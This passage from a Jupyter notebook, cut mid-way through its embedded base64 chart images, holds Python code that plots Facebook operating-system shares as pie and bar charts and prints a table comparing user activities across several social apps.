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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB14.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.title(\"Facebook operating systems\")\n", + "plt.pie(y, labels=x)\n", + "plt.show()\n", + "\n", + "plt.xlabel(\"Operating System\")\n", + "plt.ylabel(\"% of users on OS\")\n", + "plt.title(\"Facebook operating systems\")\n", + "plt.grid(axis='y', color='r')\n", + "plt.bar(x,y, color = ['g', 'k', 'b'])\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook user activities, vs other apps*" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Activity Facebook Instagram Snapchat Pinterest Twitter\n", + "0 Viewing photos 65 77 64 59 42\n", + "1 Watching videos 46 51 50 21 32\n", + "2 Sharing content 57 45 46 21 32\n", + "3 Sharing-content 43 31 45 12 20\n", + "4 Networking 33 23 21 10 26\n", + "5 News 38 18 17 9 56\n", + "6 shopping-for-products 15 11 5 47 7\n", + "7 Promote-business 7 9 6 5 7\n" + ] + }, + { + "data": { + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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jW/MBRdckK233jo/+9nPkiQvf/nL8xd/8Rd5/OMfn+9///t56lOfmiuvvDJJctlll+VLX/pSbr755uy555459NBDc+GFF+aSSy7JpZdemuuuuy777LNPnvCEJ+SLX/zipNPHffGLX8zLXvaynHnmmXnoQx+61h8HgREAAABAZ9VD0m677ba8+tWvzvnnn5+NNtooP/rRj/KTn/wk//M//5MjjzwyW2+9dZJkyy23TJJ89rOfzde//vWV8//iF7/IihUrkiSHH354Ntlkk2yyySY56KCDctFFF+ULX/hCnve852XOnDl54AMfmAMPPDBf+cpXppx+v/vdL1deeWWOPfbYnHPOOdluu+1G8jgIjAAAAACmcOqpp+baa6/NsmXLMm/evCxcuDC33nprWmuT/lz9b37zm1x44YXZZJNN7nLbqu2rKq21Sdc71fQk2XbbbXPrrbfmq1/96sgCI+cwAgAAAJjCjTfemAc84AGZN29ezjvvvHzve99Lkhx88ME57bTTcv311yfJykPSnvKUp+Rd73rXyvknjlY688wzc+utt+b666/P2NjYysPMPvKRj+SOO+7Itddem/PPPz/77rvvlNOTZPPNN8/ZZ5+dV7/61RkbGxvJ/RYYAQAAALNSa2v37+446qijsnTp0ixevDinnnpqdtxxxyTJLrvskte85jU58MADs8cee+Qv//IvkyTveMc7snTp0uy+++7Zeeedc+KJJ65c1r777ptDDz00++23X1772tdmu+22y+/8zu+sPHH2E5/4xPzTP/1Tfuu3fmvK6eMe+MAH5pOf/GT+5E/+JF/+8pfv/oM8hVrdEKfZYvHixW3p0qUzXQYAAAAwQldeeWV22mmnmS5jgzTZY1tVy1priydrb4QRAAAAAD0CIwAAAAB6BEYAAAAA9AiMAAAAAOgRGAEAAADQIzACAAAAoEdgBAAAAMxOVWv3bxo222yzu1XqJz7xiXz961+/W/PORgKj2W4EnR8AAABYu9ZmYHTHHXesleXcEwIjAAAAgFWMjY1lyZIlOfLII7PjjjvmqKOOSmstSXLcccdl5513zu67755XvOIV+eIXv5izzjorr3zlK7No0aJ8+9vfzr/+679mn332yR577JFnPvOZ+eUvf5kk+fa3v5399tsv++yzT173utetHNE0NjaWgw46KM9//vOz2267JUmOOOKI7L333tlll11y0kknraxts802y6te9arsvffeedKTnpSLLrooS5YsycMf/vCcddZZa+X+z10rSwEAAADYwHz1q1/N1772tWy33XbZf//9c8EFF2TnnXfOGWeckauuuipVlRtuuCGbb755nvGMZ+Swww7LkUcemSTZfPPN84d/+IdJkr/927/Nv/3bv+VlL3tZXv7yl+flL395nve85+XEE0/sre+iiy7KFVdcke233z5J8r73vS9bbrllbrnlluyzzz555jOfma222io333xzlixZkje/+c35nd/5nfzt3/5tPvOZz+TrX/96jj766DzjGc+4x/fdCCMAAACASey777558IMfnI022iiLFi3K8uXLc7/73S/z58/Pi1/84nz84x/PpptuOum8V1xxRQ444IDstttuOfXUU/O1r30tSXLhhRfmWc96VpLk+c9//l3WNx4WJck73vGO7LHHHtlvv/3ygx/8IFdffXWS5D73uU8OOeSQJMluu+2WAw88MPPmzctuu+2W5cuXr5X7LjACAAAAmMTGG2+88vKcOXNy++23Z+7cubnooovyzGc+M5/4xCdWBjerOuaYY/Kud70rl19+eV7/+tfn1ltvXeP67nvf+668PDY2ls9+9rO58MILc+mll2bPPfdcuYx58+aluvMYb7TRRivr3GijjXL77bff7fs7kcAIAAAAYJpuuumm3HjjjXn605+et7/97bnkkkuSJAsWLMiKFStWtluxYkW23Xbb3HbbbTn11FNXTt9vv/3ysY99LEny4Q9/eMr13Hjjjdliiy2y6aab5qqrrsqXvvSl0dyhKQiMAAAAgNmptbX7txasWLEihx12WHbfffcceOCB+ed//uckyXOf+9y85S1vyZ577plvf/vb+fu///s85jGPyZOf/OTsuOOOK+d/+9vfnre97W3Zd999c8011+T+97//pOs55JBDcvvtt2f33XfPa1/72uy3335rpf7pqraWHrBRWrx4cVu6dOlMlzEzuiFm07YebE8AAACYzJVXXpmddtpppssYqV/+8pfZZJNNUlX58Ic/nA996EM588wzR77eyR7bqlrWWls8WXu/kgYAAACwjixbtix/+qd/mtZaNt9887zvfe+b6ZImJTACAAAAWEcOOOCAXHrppTNdxho5hxEAAAAAPQIjAAAAAHoERgAAAAD0CIwAAAAA6HHSawAAAGBWGhurtbq8JUvatNq98Y1vzAc/+MHMmTMnG220Ud7znvfkMY95zFqtZVXHHHNMDjvssBx55JHTan/DDTfkgx/8YF760peOpB6BEQAAAEDnwgsvzKc+9alcfPHF2XjjjXPdddfl17/+9UyXdRc33HBD3v3ud48sMHJIGgAAAEDnmmuuydZbb52NN944SbL11ltnu+22y8KFC/P6178+e+21V3bbbbdcddVVSZKLLrooj3vc47LnnnvmcY97XL7xjW8kSU4++eQcfvjhOeSQQ/LoRz86f/d3f7dyHe9///uz++67Z4899sgLX/jCldPPP//8PO5xj8vDH/7wnH766UmSm266KQcffPDK9Z555plJkuOOOy7f/va3s2jRorzyla9c64+DEUYAAAAAnac85Sl5wxvekEc96lF50pOelOc85zk58MADkwzCo4svvjjvfve789a3vjXvfe97s+OOO+b888/P3Llz89nPfjavfvWr87GPfSzJIEy64oorsummm2afffbJoYcemk022SRvfOMbc8EFF2TrrbfOz372s5Xrvuaaa/KFL3whV111VZ7xjGfkyCOPzPz583PGGWfkfve7X6677rrst99+ecYznpETTjghV1xxRS655JKRPA4CIwAAAIDOZpttlmXLluXzn/98zjvvvDznOc/JCSeckCT53d/93STJ3nvvnY9//ONJkhtvvDFHH310rr766lRVbrvttpXLevKTn5ytttpq5bxf+MIXMmfOnBx55JHZeuutkyRbbrnlyvZHHHFENtpoo+y88875yU9+kiRpreXVr351zj///Gy00Ub50Y9+tPK2URIYAQAAAEwwZ86cLFmyJEuWLMluu+2WU045JUlWHqY2Z86c3H777UmS1772tTnooINyxhlnZPny5VmyZMnK5VT1T9pdVWmt3WX6uPHlJ4OgKElOPfXUXHvttVm2bFnmzZuXhQsX5tZbb11r93UqzmEEAAAA0PnGN76Rq6++euX1Sy65JA972MOmbH/jjTfmQQ96UJLBeYsm+sxnPpOf/exnueWWW/KJT3wi+++/fw4++OCcdtppuf7665Okd0jaVMt/wAMekHnz5uW8887L9773vSTJggULsmLFirtzF6fFCCMAAABgVlqypK3zdd5000152ctelhtuuCFz587NIx/5yJx00kn51Kc+NWn7v/7rv87RRx+dt73tbXniE5/Yu+3xj398XvjCF+Zb3/pWnv/852fx4sVJkte85jU58MADM2fOnOy55553CZomOuqoo/Lbv/3bWbx4cRYtWpQdd9wxSbLVVltl//33z6677pqnPe1pectb3rJ2HoBOjQ9xms0WL17cli5dOtNlzIwphqlNaT3YngAAADCZK6+8MjvttNNMl7FWnHzyyVm6dGne9a53zXQpSSZ/bKtqWWtt8WTtHZIGAAAAQI9D0gAAAADWsmOOOSbHHHPMTJdxtxlhBAAAAECPwAgAAACAHoERAAAAAD0CIwAAAAB6nPQaAAAAmJXGamytLm9JW7LGNnPmzMluu+2W22+/PTvttFNOOeWUfP3rX8/73//+vOMd75hyvhtuuCEf/OAH89KXvnSt1PqmN70pr371q9fKsu4OI4wAAAAAOptsskkuueSSXHHFFbnPfe6TE088MYsXL15tWJQMAqN3v/vdk952xx13DF3Hm970pqHnWZsERgAAAACTOOCAA/Ktb30rY2NjOeyww5Ikxx9/fP7gD/4gS5YsycMf/vCVQdJxxx2Xb3/721m0aFFe+cpXZmxsLAcddFCe//znZ7fddssdd9yRV77yldlnn32y++675z3veU+S5JprrskTnvCELFq0KLvuums+//nP57jjjsstt9ySRYsW5aijjpqR++6QNAAAAIBV3H777fmv//qvHHLIIXe57aqrrsp5552XFStW5NGPfnT++I//OCeccEKuuOKKXHLJJUmSsbGxXHTRRbniiiuy/fbb56STTsr973//fOUrX8mvfvWr7L///nnKU56Sj3/843nqU5+a17zmNbnjjjvyy1/+MgcccEDe9a53rVzWTBAYAQAAAHTGR/YkgxFGL3rRi/LFL36x1+bQQw/NxhtvnI033jgPeMAD8pOf/GTSZe27777ZfvvtkyTnnHNOLrvsspx++ulJkhtvvDFXX3119tlnn/zBH/xBbrvtthxxxBEr1z3TBEYAAAAAnfFzGK3OxhtvvPLynDlzcvvtt0/a7r73ve/Ky621vPOd78xTn/rUu7Q7//zzc/bZZ+eFL3xhXvnKV+b3fu/37l7xa5FzGAEAAADcQwsWLMiKFSumvP2pT31q/t//+3+57bbbkiTf/OY3c/PNN+d73/teHvCAB+QP//AP86IXvSgXX3xxkmTevHkr284EI4wAAACAWWlJWzLTJUzbVlttlf333z+77rprnva0p+XQQw/t3f7iF784y5cvz1577ZXWWrbZZpt84hOfyNjYWN7ylrdk3